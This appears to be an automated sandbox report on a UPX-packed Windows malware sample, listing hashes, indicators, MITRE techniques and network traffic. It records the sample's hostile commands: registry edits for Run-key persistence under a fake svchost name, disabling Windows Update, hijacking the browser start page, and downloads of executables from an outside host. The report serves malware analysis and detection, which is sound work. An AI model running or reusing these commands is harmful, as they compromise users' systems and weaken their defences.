6d163443389051e1a8c4fe585e0b97d7a16fb6855f0b13a719e401d042819354

Analysis

max time kernel
0s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20231222-en
resource tags

arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system
submitted
31/12/2023, 13:45 UTC

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General

Target

388d1d5626a4192a172f9aa3351a679a.exe
Size

25KB
MD5

388d1d5626a4192a172f9aa3351a679a
SHA1

4da2552f1e70e9882abda90409943c37c2830030
SHA256

6d163443389051e1a8c4fe585e0b97d7a16fb6855f0b13a719e401d042819354
SHA512

cfe2c7d11258fd6cb69bd37e789950e85b49c9c8a810864f8cb3e880aa252f70162757f45de423d63fa44bc807830f1349e9927c29127837ba5958f7097271a1
SSDEEP

768:mSSdAWyLwqHq43GfWaTc/5pwSPt8uLFtR:mh7qK43VH4SPLr

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
3736	SVSH0ST.EXE

UPX packed file 8 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4048-0-0x0000000000400000-0x0000000000416000-memory.dmp	upx
behavioral2/memory/4048-8-0x0000000000400000-0x0000000000416000-memory.dmp	upx
behavioral2/memory/3736-66-0x0000000000400000-0x0000000000416000-memory.dmp	upx
behavioral2/memory/3736-89-0x0000000000400000-0x0000000000416000-memory.dmp	upx
behavioral2/memory/3736-264-0x0000000000400000-0x0000000000416000-memory.dmp	upx
behavioral2/memory/3736-267-0x0000000000400000-0x0000000000416000-memory.dmp	upx
behavioral2/memory/3736-301-0x0000000000400000-0x0000000000416000-memory.dmp	upx
behavioral2/memory/3736-324-0x0000000000400000-0x0000000000416000-memory.dmp	upx

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\SVSH0ST.EXE	388d1d5626a4192a172f9aa3351a679a.exe
File opened for modification	C:\Windows\SysWOW64\SVSH0ST.EXE	388d1d5626a4192a172f9aa3351a679a.exe
File created	C:\Windows\SysWOW64\SVSH0ST.EXE	SVSH0ST.EXE

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry key 1 TTPs 3 IoCs

Modify Registry

T1112

pid	Process
2064	reg.exe
5300	reg.exe
540	reg.exe

Runs net.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 4048 wrote to memory of 3736	4048	388d1d5626a4192a172f9aa3351a679a.exe	15
PID 4048 wrote to memory of 3736	4048	388d1d5626a4192a172f9aa3351a679a.exe	15
PID 4048 wrote to memory of 3736	4048	388d1d5626a4192a172f9aa3351a679a.exe	15
PID 4048 wrote to memory of 5044	4048	388d1d5626a4192a172f9aa3351a679a.exe	39
PID 4048 wrote to memory of 5044	4048	388d1d5626a4192a172f9aa3351a679a.exe	39
PID 4048 wrote to memory of 5044	4048	388d1d5626a4192a172f9aa3351a679a.exe	39
PID 4048 wrote to memory of 4992	4048	388d1d5626a4192a172f9aa3351a679a.exe	38
PID 4048 wrote to memory of 4992	4048	388d1d5626a4192a172f9aa3351a679a.exe	38
PID 4048 wrote to memory of 4992	4048	388d1d5626a4192a172f9aa3351a679a.exe	38

C:\Users\Admin\AppData\Local\Temp\388d1d5626a4192a172f9aa3351a679a.exe
"C:\Users\Admin\AppData\Local\Temp\388d1d5626a4192a172f9aa3351a679a.exe"
1⤵
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:4048
- C:\Windows\SysWOW64\SVSH0ST.EXE
  C:\Windows\system32\SVSH0ST.EXE
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  PID:3736
- - C:\Program Files\Internet Explorer\iexplore.exe
    "C:\Program Files\Internet Explorer\iexplore.exe" http://www.http://ov.12vh.com/TJ.asp
    3⤵
    PID:5308
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c net start shellHWDetection
    3⤵
    PID:5940
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\System32\reg.exe" ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL /v CheckedValue /t REG_SZ /d 3 /f
    3⤵
    - Modifies registry key
    PID:2064
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\System32\reg.exe" add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\WindowsUpdate /v DisableWindowsUpdateAccess /t REG_dword /d 00000001 /f
    3⤵
    PID:5792
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\System32\reg.exe" add "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel" /v "HomePage" /t REG_DWORD /d 00000001 /f
    3⤵
    PID:5052
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\System32\reg.exe" add "HKCU\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /t REG_EXPAND_SZ /d http://ov.12vh.com /f
    3⤵
    PID:2416
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\System32\reg.exe" ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /V svchost /T REG_SZ /D C:\Windows\system32\SVSH0ST.EXE /F
    3⤵
    - Modifies registry key
    PID:5300
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\System32\reg.exe" ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /V svchost /T REG_SZ /D C:\Windows\system32\SVSH0ST.EXE /F
    3⤵
    - Modifies registry key
    PID:540
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\388d1d5626a4192a172f9aa3351a679a.bat""
  2⤵
  PID:4992
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\388d1d5626a4192a172f9aa3351a679a.bat
  2⤵
  PID:5044

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:5308 CREDAT:17410 /prefetch:2
1⤵
PID:984

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 start shellHWDetection
1⤵
PID:4620

C:\Windows\SysWOW64\net.exe
net start shellHWDetection
1⤵
PID:4292

Network

DNS

19.177.190.20.in-addr.arpa

Remote address:

8.8.8.8:53

Request

19.177.190.20.in-addr.arpa

IN PTR

Response
DNS

59.128.231.4.in-addr.arpa

Remote address:

8.8.8.8:53

Request

59.128.231.4.in-addr.arpa

IN PTR

Response
DNS

ov.12vh.com

Remote address:

8.8.8.8:53

Request

ov.12vh.com

IN A

Response

ov.12vh.com

IN A

3.64.163.50
DNS

ov.12vh.com

Remote address:

8.8.8.8:53

Request

ov.12vh.com

IN A
DNS

ov.12vh.com

Remote address:

8.8.8.8:53

Request

ov.12vh.com

IN A
DNS

www.http

Remote address:

8.8.8.8:53

Request

www.http

IN A

Response
DNS

www.http

Remote address:

8.8.8.8:53

Request

www.http

IN A

Response
DNS

g.bing.com

Remote address:

8.8.8.8:53

Request

g.bing.com

IN A

Response

g.bing.com

IN CNAME

g-bing-com.a-0001.a-msedge.net

g-bing-com.a-0001.a-msedge.net

IN CNAME

dual-a-0001.a-msedge.net

dual-a-0001.a-msedge.net

IN A

204.79.197.200

dual-a-0001.a-msedge.net

IN A

13.107.21.200
DNS

175.178.17.96.in-addr.arpa

Remote address:

8.8.8.8:53

Request

175.178.17.96.in-addr.arpa

IN PTR

Response

175.178.17.96.in-addr.arpa

IN PTR

a96-17-178-175deploystaticakamaitechnologiescom
DNS

200.197.79.204.in-addr.arpa

Remote address:

8.8.8.8:53

Request

200.197.79.204.in-addr.arpa

IN PTR

Response

200.197.79.204.in-addr.arpa

IN PTR

a-0001a-msedgenet
DNS

241.154.82.20.in-addr.arpa

Remote address:

8.8.8.8:53

Request

241.154.82.20.in-addr.arpa

IN PTR

Response
DNS

137.128.123.92.in-addr.arpa

Remote address:

8.8.8.8:53

Request

137.128.123.92.in-addr.arpa

IN PTR

Response

137.128.123.92.in-addr.arpa

IN PTR

a92-123-128-137deploystaticakamaitechnologiescom
DNS

137.128.123.92.in-addr.arpa

Remote address:

8.8.8.8:53

Request

137.128.123.92.in-addr.arpa

IN PTR
GET

http://ov.12vh.com/se32.exe

Remote address:

3.64.163.50:80

Request

GET /se32.exe HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: ov.12vh.com
Connection: Keep-Alive

Response

HTTP/1.1 410 Gone

Server: openresty
Date: Fri, 05 Jan 2024 10:07:44 GMT
Content-Type: text/html
Content-Length: 542
Connection: keep-alive
GET

http://ov.12vh.com/se111.exe

Remote address:

3.64.163.50:80

Request

GET /se111.exe HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: ov.12vh.com
Connection: Keep-Alive

Response

HTTP/1.1 410 Gone

Server: openresty
Date: Fri, 05 Jan 2024 10:07:44 GMT
Content-Type: text/html
Content-Length: 542
Connection: keep-alive
DNS

50.163.64.3.in-addr.arpa

Remote address:

8.8.8.8:53

Request

50.163.64.3.in-addr.arpa

IN PTR

Response

50.163.64.3.in-addr.arpa

IN PTR

ec2-3-64-163-50eu-central-1compute amazonawscom
DNS

157.123.68.40.in-addr.arpa

Remote address:

8.8.8.8:53

Request

157.123.68.40.in-addr.arpa

IN PTR

Response
DNS

0.204.248.87.in-addr.arpa

Remote address:

8.8.8.8:53

Request

0.204.248.87.in-addr.arpa

IN PTR

Response

0.204.248.87.in-addr.arpa

IN PTR

https-87-248-204-0lhrllnwnet
DNS

0.204.248.87.in-addr.arpa

Remote address:

8.8.8.8:53

Request

0.204.248.87.in-addr.arpa

IN PTR

204.79.197.200:443

g.bing.com

tls

2.7kB
9.3kB
23
16
204.79.197.200:443

ieonline.microsoft.com

tls

3.2kB
31.2kB
39
35
204.79.197.200:443

ieonline.microsoft.com

tls

1.6kB
8.4kB
20
16
92.123.128.137:443

www.bing.com

tls

1.3kB
4.9kB
18
14
92.123.128.137:443

www.bing.com

tls

1.6kB
9.8kB
22
19
3.64.163.50:80

http://ov.12vh.com/se111.exe

http

1.7kB
1.7kB
12
7

HTTP Request

GET http://ov.12vh.com/se32.exe

HTTP Response

410

HTTP Request

GET http://ov.12vh.com/se111.exe

HTTP Response

410

8.8.8.8:53

19.177.190.20.in-addr.arpa

dns

72 B
158 B
1
1

DNS Request

19.177.190.20.in-addr.arpa
8.8.8.8:53

59.128.231.4.in-addr.arpa

dns

71 B
157 B
1
1

DNS Request

59.128.231.4.in-addr.arpa
8.8.8.8:53

ov.12vh.com

dns

171 B
73 B
3
1

DNS Request

ov.12vh.com

DNS Request

ov.12vh.com

DNS Request

ov.12vh.com

DNS Response

3.64.163.50
8.8.8.8:53

www.http

dns

54 B
129 B
1
1

DNS Request

www.http
8.8.8.8:53

www.http

dns

54 B
129 B
1
1

DNS Request

www.http
8.8.8.8:53

g.bing.com

dns

56 B
158 B
1
1

DNS Request

g.bing.com

DNS Response

204.79.197.200

13.107.21.200
8.8.8.8:53

175.178.17.96.in-addr.arpa

dns

72 B
137 B
1
1

DNS Request

175.178.17.96.in-addr.arpa
8.8.8.8:53

200.197.79.204.in-addr.arpa

dns

73 B
106 B
1
1

DNS Request

200.197.79.204.in-addr.arpa
8.8.8.8:53

241.154.82.20.in-addr.arpa

dns

72 B
158 B
1
1

DNS Request

241.154.82.20.in-addr.arpa
8.8.8.8:53

137.128.123.92.in-addr.arpa

dns

146 B
139 B
2
1

DNS Request

137.128.123.92.in-addr.arpa

DNS Request

137.128.123.92.in-addr.arpa
8.8.8.8:53

50.163.64.3.in-addr.arpa

dns

70 B
134 B
1
1

DNS Request

50.163.64.3.in-addr.arpa
8.8.8.8:53

157.123.68.40.in-addr.arpa

dns

72 B
146 B
1
1

DNS Request

157.123.68.40.in-addr.arpa
8.8.8.8:53

0.204.248.87.in-addr.arpa

dns

142 B
116 B
2
1

DNS Request

0.204.248.87.in-addr.arpa

DNS Request

0.204.248.87.in-addr.arpa

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/3736-354-0x0000000000400000-0x0000000000416000-memory.dmp

Filesize
88KB

Download
memory/3736-377-0x0000000000400000-0x0000000000416000-memory.dmp

Filesize
88KB

Download
memory/3736-66-0x0000000000400000-0x0000000000416000-memory.dmp

Filesize
88KB

Download
memory/3736-89-0x0000000000400000-0x0000000000416000-memory.dmp

Filesize
88KB

Download
memory/3736-264-0x0000000000400000-0x0000000000416000-memory.dmp

Filesize
88KB

Download
memory/3736-267-0x0000000000400000-0x0000000000416000-memory.dmp

Filesize
88KB

Download
memory/3736-515-0x0000000000400000-0x0000000000416000-memory.dmp

Filesize
88KB

Download
memory/3736-301-0x0000000000400000-0x0000000000416000-memory.dmp

Filesize
88KB

Download
memory/3736-481-0x0000000000400000-0x0000000000416000-memory.dmp

Filesize
88KB

Download
memory/3736-324-0x0000000000400000-0x0000000000416000-memory.dmp

Filesize
88KB

Download
memory/3736-400-0x0000000000400000-0x0000000000416000-memory.dmp

Filesize
88KB

Download
memory/3736-423-0x0000000000400000-0x0000000000416000-memory.dmp

Filesize
88KB

Download
memory/3736-446-0x0000000000400000-0x0000000000416000-memory.dmp

Filesize
88KB

Download
memory/3736-469-0x0000000000400000-0x0000000000416000-memory.dmp

Filesize
88KB

Download
memory/4048-0-0x0000000000400000-0x0000000000416000-memory.dmp

Filesize
88KB

Download
memory/4048-8-0x0000000000400000-0x0000000000416000-memory.dmp

Filesize
88KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

HTTP Request

HTTP Response

HTTP Request

HTTP Response

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

DNS Response

DNS Request

DNS Request

DNS Request

DNS Response

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

MITRE ATT&CK Enterprise v15

Replay Monitor

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